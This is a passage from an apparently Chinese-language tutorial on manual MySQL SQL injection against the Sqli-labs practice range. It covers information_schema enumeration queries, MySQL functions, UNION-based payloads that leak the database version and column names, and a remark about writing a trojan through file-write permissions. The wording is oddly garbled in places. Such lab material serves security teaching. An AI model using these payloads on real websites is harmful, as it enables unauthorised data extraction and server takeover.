select schema_name from information_schema.schemata;
# 查表名,即查询指定数据库中存在哪些数据表
select table_name from information_schema.tables where table_schema='数据库名';
# 查字段名,即查询指定数据库的某个数据表中存在哪些字段
select column_name from information_schema.columns where table_schema='数据库名' and table_name='数据表名';
复制代码
0x0102:MySQL 数据库查询函数
下面是我们需要提前相识的一些关于 MySQL 数据库的查询函数(基础版):
函数名函数剖析用法示例order by对指定列排序select * from table_name order by 3group_concat()将查询出来的结果用, 号分隔拼接起来select group_concat(schema_name) from information_schema.schemata;mid(字符串,起始位置(从1开始),取几位)按照指定规则截取字符串的内容select mid('12',2,1);user()获取当前登录的用户权限select user();version()数据库版本网络select version();database()查察当前正在操作的数据库名称select database();@@secure_file_priv查察当前数据库是否开启了读写权限。select @@secure_file_priv; 0x02:MySQL 手工注入 —— 实战篇
本节重点在于熟悉 SQL 注入流程,以及注入原理。训练靶场为 Sqli-labs(Less -2 GET - Error based - Intiger based),靶场的配套资源如下(附安装教程): 实行工具准备
在上一阶段中,我们确定了目标数据库会返回三列值,接下来我们需要使用 union 团结查询,来判定这三列值中,哪个值会成为回显点 (其着实很多测试中,数据库返回的值不会直接回显回页面,这个时间,我们需要使用 “盲注” 技术 ,该技术笔者会在后续的笔记中讲解) 。不过在此之前,笔者先简单介绍以下团结查询: MySQL Union 团结查询
MySQL 的 UNION 操作符用于将两个或多个 SELECT 语句的结果聚集并成一个结果集。它通常用于从多个表中获取数据,大概从同一个表中根据差别的条件获取数据,并将这些数据合并到一起。 示例:使用 UNION 操作符将两个 SELECT 语句的结果聚集并到一个结果集
mysql> select username, password from users union select 'key1', 1;
MySQL version() 函数会返回当前数据库的版本信息。我们通常将 5.0 以上的版本称为高版本数据库,因为在这些高版本数据库中会内置 information_schema 这张数据表,这张表对我们后续的信息网络工作很紧张。如果渗透的是低版本的 MySQL 数据库,我们可以接纳字典暴力猜解的方式来尝试确定目标数据库中的信息。
攻击 Payload: ?id=-1 union select 1,2,version()
推测后端执行语句:select * from users where id=-1 union select 1,2,version();
复制代码
3. 数据库读写权限网络
在前面的信息网络中,我们发现了我们渗透获取的用户为 root,属于一个高权限用户了。以是我们就可以更进一步的尝试测试目标是否开启了文件的读写权限,如果目标开启了该权限,我们就可以通过 MySQL 数据库向目标指定文件夹中写入木马,进而控制整个服务器了。
在举行攻击之前,我先简单介绍一下 MySQL 的文件读写权限:在 MySQL 高版本(5.0 以上)中,添加了一个新的特性 secure_file_priv,该选项限定了 mysql 导出文件的权限。
攻击 Payload: ?id=-1 union select 1,2,group_concat('<br>',column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'
推测后端执行语句:select * from users where id=-1 union select 1,2,group_concat('<br>',column_name) from information_schema.columns where table_schema='pikachu' and table_name='users';